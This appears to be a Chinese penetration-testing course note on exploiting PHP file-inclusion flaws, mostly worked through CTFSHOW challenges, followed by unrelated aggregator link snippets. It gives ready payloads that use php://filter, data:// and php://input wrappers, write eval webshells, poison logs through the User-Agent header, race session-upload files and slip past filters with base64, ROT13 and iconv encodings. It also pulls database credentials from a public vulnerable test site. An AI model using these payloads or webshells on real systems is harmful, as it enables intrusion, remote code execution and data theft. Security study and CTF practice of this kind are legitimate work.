050-WEB攻防-PHP应用文件包含LFIRFI伪协议编码算法无文件利用黑白盒

050-WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒

#知识点：

1、文件包含-原理&分类&危害-LFI&RFI
2、文件包含-利用-黑白盒&无文件&伪协议

演示案例：

➢文件包含-原理&分类&利用&修复
➢黑盒利用-VULWEB-有无包含文件
➢白盒利用-CTFSHOW-伪协议玩法

Untitled

Untitled

#文件包含-原理&分类&利用&修复

1、原理

程序开发人员通常会把可重复使用的函数写到单个文件中，在使用某些函数时，
直接调用此文件，而无须再次编写，这种调用文件的过程一般被称为文件包含。
在包含文件的过程中，如果文件能进行控制，则存储文件包含漏洞

文件包含 包含的文件就被当做当前脚本语言去代码执行了

漏洞原因：
1、使用文件包含函数
2、包含的文件可控

漏洞简单复现：

  1. 创建include.php文件，代码**include($_GET['file']);：使用include函数来包$_GET['file']，这是危险的做法，因为用户可以通过修改URL参数传递恶意文件路径，导致安全漏洞。**

  2. 创建2.txt，代码内容<?php phpinfo();?>

  3. 访问对应文件路径，并传递参数http://192.168.137.1:84/include.php?file=2.txt

  4. 相当于include('2.txt');

    Untitled

漏洞分类：

本地包含-Local File Include-LFI
远程包含-Remote File Include-RFI
差异原因：代码过滤和环境配置文件开关决定

  1. 找到对应的小皮PHP设置中的远程包含并开启或者在对应==网址服务的PHP版本下找到php.ini文件，并将allow_url_include=Off改为On即可==

  2. 通过远程服务，创建file.txt内容为<?php phpinfo();?> ，并使用远程包含，将对应文件地址替换为远程创建的文件的ip访问地址即可

    Untitled

    Untitled

Untitled

Untitled

2、白盒审计：（CTFSHOW）

白盒发现：
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

PHP：include、require、include_once、require_once等
include在包含的过程中如果出现错误，会抛出一个警告，程序继续正常运行
require函数出现错误的时候，会直接报错并退出程序的执行
Java：java.io.File、java.io.FileReader等
ASP.NET：System.IO.FileStream、System.IO.StreamReader等

3、黑盒分析：

黑盒发现：主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼

4、利用

本地利用思路：

1、配合文件上传（上传一个文件 文件写有我们的恶意代码）
2、无文件包含日志
3、无文件包含SESSION
4、无文件支持伪协议利用

php://input与data://都需要开启allow_url_include才能使用

Untitled

参考：https://blog.csdn.net/unexpectedthing/article/details/121276653

文件读取：

  1. file:///d:/1.txt，读取d盘下的1.txt文件内容（绝对路径）
  2. php://filter/read=convert.base64-encode/resource=1.php
    读取名为1.php的文件**（当前网址存放源码目录下），并将其内容以base64编码的形式返回。（相对路径）**
    1. PD9waHAgcGhwaW5mbygpOz8+通过解码后是<?php phpinfo();?>
  3. http://192.168.137.1:84/include.php?file=php://filter/read=convert.base64-encode/resource=…/…/…/1.txt
    还可以进行跨目录访问
file:///etc/passwd
这个示例尝试读取系统中的/etc/passwd文件。在类Unix系统上，这是包含用户帐户信息的文件。php://filter/read=convert.base64-encode/resource=phpinfo.php
这个示例尝试读取名为 phpinfo.php 的文件，并将其内容以base64编码的形式返回。

Untitled

Untitled

Untitled

文件写入：

  1. http://192.168.137.1:84/include.php?file=php://input在Post data中写入<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>成功写入文件并可以访问执行
  2. http://192.168.137.1:84/include.php?file=php://filter/write=convert.base64-encode/resource=phpinfo.php** 在Post data中写入content=131成功写入文件并可以访问执行
    1. **file_put_contents($_GET['file'],$_POST['content']); 使用该方式执行文件写入，必须要在代码中有这个才可以**
    2. $_GET['file']: 通过GET请求传递的**file**参数，用于指定要写入内容的文件路径。这可能包含相对或绝对路径，具体取决于如何使用该代码
    3. $_POST['content']: 通过POST请求传递的**content**参数，用于指定要写入到文件中的内容。这是用户提供的数据，可以是任何字符串。
    4. 该代码的主要目的是将通过POST请求传递的内容写入指定的文件。
php://filter/write=convert.base64-encode/resource=phpinfo.php
这个示例尝试将base64编码的内容写入名为 phpinfo.php 的文件中。php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
这个示例通过php://input伪协议，尝试通过POST请求将一个PHP脚本写入名为 shell.php 的文件中。
该脚本是一个简单的 PHP Webshell，允许通过URL参数执行任意代码

Untitled

Untitled

代码执行：

  1. http://192.168.137.1:84/include.php**?file=php://input** 在Post data中写入<?php phpinfo();?>

  2. <[http://192.168.137.1:84/include.php?file=data://text/plain,<?php](http://192.168.137.1:84/include.php?file=data://text/plain,%3C?php)> phpinfo();?> 使用data代码执行，直接在data后面跟上想要执行的代码即可

  3. http://192.168.137.1:84/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B

    Untitled

Untitled

Untitled

php://input POST:<?php phpinfo();?>
这个示例通过php://input伪协议，尝试通过POST请求执行 phpinfo() 函数。data://text/plain,<?php phpinfo();?>
这个示例尝试通过 data:// 伪协议执行 phpinfo() 函数。data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
这个示例使用 data:// 伪协议，通过base64编码的方式执行 phpinfo() 函数。

远程利用思路：

直接搭建一个可访问的远程URL包含文件

  1. 找到对应的小皮PHP设置中的远程包含并开启或者在对应==网址服务的PHP版本下找到php.ini文件，并将allow_url_include=Off改为On即可==

  2. 通过远程服务，创建file.txt内容为<?php eval($_POST["pass"]);?> ，并使用远程包含，将对应文件地址替换为远程创建的文件的ip访问地址即可

  3. 通过哥斯拉连接后门，成功获取权限

    Untitled

    Untitled

Untitled

5、修复见网上参考方案

#黑盒利用-VULWEB-有无包含文件

http://testphp.vulnweb.com/showimage.php?file=index.php

  1. 发现数据包存在文件包含和替换的关键词?file=showimage.php

  2. 访问该页面，并尝试抓取数据包，替换file 后的文件名如：index.php

  3. 发现回显出index.php源码，暴露出数据库配置文件database_connect.php

  4. 将文件再次替换为==数据库配置文件 ，并发送数据包，发现得到数据库隐私数据库名和密码等信息==

    **<?PHP$connection = mysql_connect('127.0.0.1', 'acuart', 'trustno1')or die('Website is out of order. Please visit back later. Thank you for understanding.');**mysql_select_db('acuart', $connection)or die('Website is out of order. Please visit back later. Thank you for understanding.');
?>

    Untitled

    Untitled

    Untitled

#白盒利用-CTFSHOW-伪协议玩法

https://ctf.show/challenges

  1. 打开官网，选择对应的题目web入门

  2. 选择78题，启动靶场

    Untitled

78-php&http协议

  1. 代码给出include文件包含的关键词
  2. 由于是无文件上传，所以使用无文件支持伪协议利用
  3. 两种方式：
    1. 第一种直接通过文件读取**（相对路径）php://filter/read=convert.base64-encode/resource=flag.php读取名为flag.php的文件（当前网址存放源码目录下）**，并将其内容以base64编码的形式返回，并通过解密拿到flag。
    2. 第二种：使用文件执行
      1. ?file=data://text/plain,<?php system('ls');?> 可以获取当前目录文件发现有一个flag.php
      2. ?file=data://text/plain,<?php system('tac flag.php');?> 即可读取flag.php的中的内容。
        1. **system函数执行tac命令，该命令用于反向输出文件内容（以行为单位）。在这里，它尝试反向输出flag.php文件的内容。如果flag.php**文件存在并可读，那么该文件的内容将被反向显示。

Untitled

Untitled

Untitled

Untitled

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input post:<?php system('tac flag.php');?>
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

79-data&http协议

Untitled

  1. 代码给出include文件包含的关键词
  2. 由于是无文件上传，所以使用无文件支持伪协议利用
  3. 发现对与文件名做了php关键词过滤
  4. 在PHP中，<?= ... ?> 是短标签（short tags）的一种形式，用于简洁地输出内容，等同于 <?php echo ... ?>。而 <?php ... ?> 是标准的PHP起始和结束标记。
  5. 两种方式：
    1. 将文件执行中，直接去掉php关键词，依旧可以正常执行
      1. ?file=data://text/plain,**<?=system('ls');?>** 可以获取当前目录文件发现有一个flag.php
      2. ?file=data://text/plain,**<?=system('tac flag*');?>** 即可读取flag.php的中的内容。成功获取到flag
    2. 使用文件执行，将数据流协议（data://）和base64编码的方式，将PHP代码嵌入URL中
      1. data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
      2. 解码为：<?php system('tac flag.php'); ?>

payload: ?file=data://text/plain,<?=system('tac flag.*');?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

Untitled

Untitled

Untitled

Untitled

Untitled

80 81-日志包含

Untitled

1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息，UA带入代码
包含：/var/log/nginx/access.log

  1. 代码给出include文件包含的关键词

  2. 由于是无文件上传，所以使用无文件支持伪协议利用

  3. 发现对与文件名做了php关键词和data关键词过滤

  4. 两种方式：

    1. 第一种，使用文件执行PHP://input，并使用大小写绕过其对php的过滤

      1. **?file=PHP://input POST data：<?=system('ls');?>**中写上对应的去掉PHP关键词php语句即可

      2. ?file=PHP://input POST data：<?=system('tac fl0g.*');?>中写上对应的去掉PHP关键词php语句，和文件匹配的后缀，更改为*号

      3. 成功拿到flag

        Untitled

        Untitled

    2. 第二种使用==日志记录文件包含，利用日志记录UA信息，UA带入代码==

      1. 使用文件读取：**file:///var/log/nginx/access.log ，读取对应的日志文件内容（绝对路径），成功读取
      2. 通过抓包，抓取到数据包，发送至repeater，并尝试修改UA头中的内容，修改成功，于是尝试在UA头中写入恶意代码：
        1. User-Agent: 222222222<?php=system('ls')?>并发送数据包，成功写入==，并被解析fl0g.php index.php==
        2. User-Agent: 333333333<?php system('tac fl0g.php')?>并发送数据包，成功写入，并被解析$flag="ctfshow{56017f9c-6037-4f27-bd84-ed6bffd417fa}

    Untitled

    Untitled

    Untitled

Untitled

Untitled

82-86-SESSION包含

自定义session名字，条件竞争访问session文件，触发创建新文件

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

1.简单来说，上面这个选项开启以后，上传文件，我们能够POST请求查看上传进度
2.我们在session中写入我们要执行的代码
3.用户可以自己定义Session ID，比如在Cookie里设置PHPSESSID=flag，PHP将会在服务器上创建一个文件：**/tmp/sess_flag**，我们能够命名'sess_'后面的名字
4.之后要执行就要包含这个session文件
5.默认情况下，session.upload_progress.cleanup是开启的，一旦读取了所有POST数据，就会清除进度信息
6.于是我们需要条件竞争来读取文件，所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码，在文件上传中很常见

Untitled

保以下配置项在 php.ini 文件中已启用：

session.upload_progress.enabled = On

使用 PHP_SESSION_UPLOAD_PROGRESS 时，通常会在上传表单中添加一个隐藏字段，将这个会话变量的值传递给服务器，以便服务器能够跟踪上传的进度。在你提供的HTML代码中，就有一个用于设置 PHP_SESSION_UPLOAD_PROGRESS 值的隐藏字段。

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

  1. 在本地创建文件上传代码如下，并将==上传URL更改为对应的靶场网址==

    <!DOCTYPE html>
<html>
<body>
<form action="[http://xxxx.ctf.show/](http://xxxx.ctf.show/)" method="POST" enctype="multipart/form-data">
**<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />**
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

    Untitled

  2. 运行创建的网址，并随意上传文件，通过burp抓包，并加入Cookie: PHPSESSID=wusuowei，自定义Session ID

    Untitled

  3. 由于session.upload_progress.cleanup是开启的==，一旦读取了所有POST数据，就会清除进度信息==于是我们需要条件竞争来读取文件，所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码。

    1. 将上传文件的数据包发送至Intruder，选择Clear$后Playloads→Playload type:Null payloads , Payload Options →Continue indefinitely==（无限发送上传文件数据包）==
    2. 将访问上传文件的请求数据包抓取并发送至Intruder，选择Clear$后Playloads→Playload type:Null payloads , Payload Options →Continue indefinitely==（无限发送访问请求数据包）==
      1. http://8dc5c2cc-397c-46d6-a28d-3b202ca37b6a.challenge.ctf.show/?file=/tmp/sess_wusuowei

    Untitled

    Untitled

    Untitled

Untitled

Untitled

87-php://filter/write&加密编码（文件写入，二次解密）

Untitled

  • 正常来讲，浏览器会默认执行URL解码一次，但是提供代码中又加入了一次urldecode($file)，二次解码，造成之前的过滤失效

  1. 利用base64:

    1. url编码2次：php://filter/write=convert.base64-decode/resource=123.php

    2. Post data:写入==content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg====

      1. 需要补全数位aa

      Untitled

      Untitled

    3. 解码为<?php @eval($_POST[a]);?>（木马设置的密码为：a）

    4. 通过访问，创建木马文件123.php，http://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/123.php

    5. 并通过输入Post data：写入a=system(’ls’);（通过木马密码进行替换操作）

    6. 并通过输入Post data：写入a=system(‘tac fl0g.php’);

      Untitled

      Untitled

  2. 利用凯撒13：

    1. url编码2次：php://filter/write=string.rot13/resource=2.php

    2. Post data:写入==content=<?cuc riny($_CBFG[1]);?>==

      1. ROT13解密：<?php eval($_POST[1]);?>（木马设置的密码为：1）

      Untitled

      Untitled

    3. 通过访问，创建木马文件2.php，http://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/2.php

    4. 并通过输入Post data：写入1=system(’ls’);（通过木马密码进行替换操作）

    5. 并通过输入Post data：写入1=system(‘tac fl0g.php’);

    Untitled

    Untitled

88-data&base64协议

Untitled

  1. 过滤PHP，各种符号，php代码编码写出无符号（+和=）base64值
  2. Payload：file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
  3. 解密：<?php system('tac *.php');echo 123;?>ad**（为了去掉+和=）**
    1. 直接写<?php system('tac *.php');?>，会出现被过滤的号==

Untitled

117-php://filter/write&新的算法

Untitled

将众多编码形式做了过滤包括 http, https, utf, zlib, data, input, rot13, base64, string, log, sess，不区分大小写（i 标志）。

convert.iconv.：一种过滤器，和使用iconv()函数处理流数据有等同作用

参考文章：

文件包含漏洞+php伪协议_文件包含漏洞伪协议利用-CSDN博客

Untitled

<?php
/* 将字符串 '<?php eval($_POST[a]);?> 从 UCS-2LE 编码转换为 UCS-2BE 编码*/
$result = iconv("UCS-2LE", "UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
//经过一次反转:?<hp pvela$(P_SO[T]a;)>?// 将经过一次编码转换后的字符串再次从 UCS-2LE 编码转换为 UCS-2BE 编码
echo "经过第二次反转:".iconv("UCS-2LE", "UCS-2BE", $result);
//经过第二次反转:<?php eval($_POST[a]);?>
?>
  1. Payload：file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
  2. Post data 中写入：**contents=**?<hp pvela$(P_SO[T]a;)>?
  3. 解码为：<?php eval($_POST[a]);?>（木马设置的密码为：a）
  4. 通过访问，创建木马文件a.php，http://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/123.php
  5. 并通过输入Post data：写入a=system(’ls’);（通过木马密码进行替换操作）
  6. 并通过输入Post data：写入a=system(‘tac flag.php’);

Untitled

Untitled

Untitled

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/729522.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

设计模式（工厂模式）

设计模式（工厂模式）

设计模式&#xff08;工厂模式&#xff09; 一、工厂模式介绍 在工厂模式中&#xff0c;父类决定生成示例的方式&#xff0c;但不决定所要生成的具体的类&#xff0c;具体的处理部分交给子类负责。这样就可以将生成示例的框架和生成示例的类解耦。 二、示例程序 以下示例程…
阅读更多...
力扣-数组题

力扣-数组题

1. 两数之和 找出map中是否有target-nums[i]&#xff0c; class Solution { public:vector<int> twoSum(vector<int>& nums, int target) {unordered_map<int, int> hash;for(int i 0 ;i < nums.size(); i){if(hash.find(target - nums[i]) ! hash…
阅读更多...
MongoDB安装教程(附带安装包)

MongoDB安装教程(附带安装包)

目录 解压安装包 傻瓜式安装 选择安装目录 安装完成 启动验证 验证成功 解压安装包 选择所需要的进行安装 傻瓜式安装 选择安装目录 安装完成 启动验证 mongod --dbpathD:\mongodb\data\db 验证成功
阅读更多...
VUE_自适应布局lib-flexible+postcss-pxtorem、lib-flexible + postcss-px2rem，nuxt页面自适配

VUE_自适应布局lib-flexible+postcss-pxtorem、lib-flexible + postcss-px2rem，nuxt页面自适配

lib-flexible postcss-pxtorem适配 我采用的是flexable.js和postcss-pxtorem。我一开始用的是postcss-px2rem后来发现和nuxt引入公共css的时候发生了冲突所以改用了postcss-pxtorem。 安装依赖 npm i lib-flexible -S npm install postcss-pxtorem --save 1、lib-flexible.…
阅读更多...
FreeRTOS学习笔记——列表和列表项及其API函数讲解

FreeRTOS学习笔记——列表和列表项及其API函数讲解

目录 精华总结&#xff1a; 列表和列表项 架构脑图&#xff1a; 列表和列表项的简介 列表的结构 列表项 迷你列表项 列表和列表项的关系 FreeRTOS 列表和列表项相关 API 函数 架构脑图&#xff1a; 列表和列表项相关 API 函数 函数 vListInitialise() 函数 vListIni…
阅读更多...
IR 召回测试数据集（中文测试集）——T2Ranking

IR 召回测试数据集（中文测试集）——T2Ranking

文章排名包括两个阶段&#xff1a;文章检索和文章重排序&#xff0c;这对信息检索&#xff08;IR&#xff09;领域的学术界和业界来说都是重要而具有挑战性的课题。然而&#xff0c;常用的文章排名数据集通常集中在英语语言上。对于非英语场景&#xff0c;如中文&#xff0c;现…
阅读更多...
云犀首款AI直播调参大模型重磅发布，智能破解直播三大难！

云犀首款AI直播调参大模型重磅发布，智能破解直播三大难！

3月7日晚&#xff0c;云犀重磅发布首款AI大模型——云犀墨子AI直播调参大模型&#xff01;据悉云犀墨子是一款懂直播的调参大模型&#xff0c;这项技术深度融合了机器学习、计算机视觉以及进步的图像处理算法&#xff0c;赋予直播间画面AI智能调控能力。 此次云犀墨子AI直播调参…
阅读更多...
Imagination大学计划 rv-fpga实验安装教程及注意事项

Imagination大学计划 rv-fpga实验安装教程及注意事项

1. 实验环境安装 1.1 vivado 2019.2 网盘链接&#xff1a;Vivado_2019.2.tar.gz_免费高速下载|百度网盘-分享无限制 (baidu.com) 安装教程&#xff1a; 网盘中vivado文件夹下载到本地后解压打开&#xff0c;导航到下图&#xff0c;打开xsetup.exe文件。如果打开后有小弹窗直接…
阅读更多...
论文阅读之Multimodal Chain-of-Thought Reasoning in Language Models

论文阅读之Multimodal Chain-of-Thought Reasoning in Language Models

文章目录 简介摘要引言多模态思维链推理的挑战多模态CoT框架多模态CoT模型架构细节编码模块融合模块解码模块 实验结果总结 简介 本文主要对2023一篇论文《Multimodal Chain-of-Thought Reasoning in Language Models》主要内容进行介绍。 摘要 大型语言模型&#xff08;LLM…
阅读更多...
重生奇迹mu战士大师技能加点怎么加

重生奇迹mu战士大师技能加点怎么加

1、在重生奇迹MU中&#xff0c;战士大师的技能加点需要根据个人的游戏风格和需求来决定。一般来说&#xff0c;战士大师可以优先加点力量和体力&#xff0c;以增加攻击和生存能力。同时&#xff0c;可以适当加点敏捷来提高闪避和命中率。 2、在技能方面&#xff0c;可以根据个人…
阅读更多...
数组的内存执行原理

数组的内存执行原理

一.Java内存分配介绍 JVM虚拟机会在内存中执行程序 java内存分配介绍 方法区&#xff0c;栈&#xff0c;堆 首先将编译过后的.class文件送入方法区中。当类开始运行时将方法调入栈内存中&#xff0c;变量也是属于方法的&#xff0c;因此同方法一起进入栈内存中。当main方法要…
阅读更多...
Word背景图片设置，提升文章美观度的4个小技巧！

Word背景图片设置，提升文章美观度的4个小技巧！

“我才刚开始使用Word&#xff0c;想问问大家Word中背景图片应该怎么设置呢&#xff1f;有什么比较好用的设置方法可以分享一下吗&#xff1f;” 在日常办公中&#xff0c;我们经常需要使用Word来对文件进行处理。在编写Word时&#xff0c;如果给文档加入背景图片&#xff0c;会…
阅读更多...
[pcie]通过sysfs访问PCI设备资源

[pcie]通过sysfs访问PCI设备资源

通过sysfs访问PCI设备资源 参考文档&#xff1a; https://www.kernel.org/doc/html/next/translations/zh_CN/PCI/sysfs-pci.html
阅读更多...
直播相机，AI纪元！云犀首款AI直播相机重磅发布！

直播相机，AI纪元！云犀首款AI直播相机重磅发布！

3月7日晚&#xff0c;云犀重磅发布首款AI直播相机-云犀智瞳Pro&#xff01;据悉该相机内置了云犀首款AI直播调参大模型&#xff0c;能够通过AI分析智能调节直播间参数&#xff0c;赋予直播间画面AI智能调控能力。 云犀AI直播相机&#xff0c;让直播更简单 此次云犀AI直播相机的…
阅读更多...
企业业务在ERP系统中的流程分析

企业业务在ERP系统中的流程分析

ERP系统能将企业的信息流、资金流、物流等进行统一管控&#xff0c;并且可以通过它优化企业的业务流程。本文主要介绍企业的一些业务在ERP中的流程设置。 首先是销售管理业务&#xff0c;销售管理以销售部门为核心&#xff0c;仓库、财务部门为辅助&#xff0c;偶尔需要生产、质…
阅读更多...
mysql中insert … select锁范围

mysql中insert … select锁范围

1、执行 insert … select 的时候&#xff0c;对目标表也不是锁全表&#xff0c;而是只锁住需要访问的资源。 例如&#xff0c; CREATE TABLE t (id int(11) NOT NULL AUTO_INCREMENT,c int(11) DEFAULT NULL,d int(11) DEFAULT NULL,PRIMARY KEY (id),UNIQUE KEY c (c) ) EN…
阅读更多...
无人值守设备如何高效运维？向日葵这几个远控功能你必须了解

无人值守设备如何高效运维？向日葵这几个远控功能你必须了解

户外广告牌、无人售货机、商场可交互的指引大屏、各种智能自助办事终端.... 上述无人值守设备&#xff0c;想必我们已经非常熟悉了&#xff0c;在科技不断发展的今天&#xff0c;这些设备在商业中已经逐渐成为中坚力量&#xff0c;并且承载着企业的一线业务。 而从企业IT运维…
阅读更多...
一 windso10 笔记本刷linux cent os7.9系统

一 windso10 笔记本刷linux cent os7.9系统

1:准备材料 16G以上U盘, 笔记本一台 镜像选了阿里云镜像:centos-7-isos-x86_64安装包下载_开源镜像站-阿里云 软件:链接&#xff1a;https://pan.baidu.com/s/13WDp2bBU1Pdx4gRDfmBetg 提取码&#xff1a;09s3 2:把镜像写入U盘,本人已经写入好了,选择镜像,点开始就是,确定等…
阅读更多...
Mysql 学习（十五）redo 日志

Mysql 学习（十五）redo 日志

redo 日志 什么是redo日志&#xff1f;在说这个之前我们先来想一个场景&#xff0c;在访问磁盘的页面之前&#xff0c;我们会先把页面缓存到Buffer Pool之后&#xff0c;才会访问。写页面的时候也会先将buffer pool中的页面修改之后&#xff0c;然后在某个时机才会刷新到磁盘中…
阅读更多...
java项目开发过程中，栈溢出错误的解决方式

java项目开发过程中，栈溢出错误的解决方式

项目场景&#xff1a; 背景&#xff1a; 使用 idea 开发java项目时&#xff0c;栈溢出错误的解决方式。 问题描述 问题&#xff1a; Handler dispatch failed; nested exception is java.lang.StackOverflowErrororg.springframework.web.util.NestedServletException: Hand…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023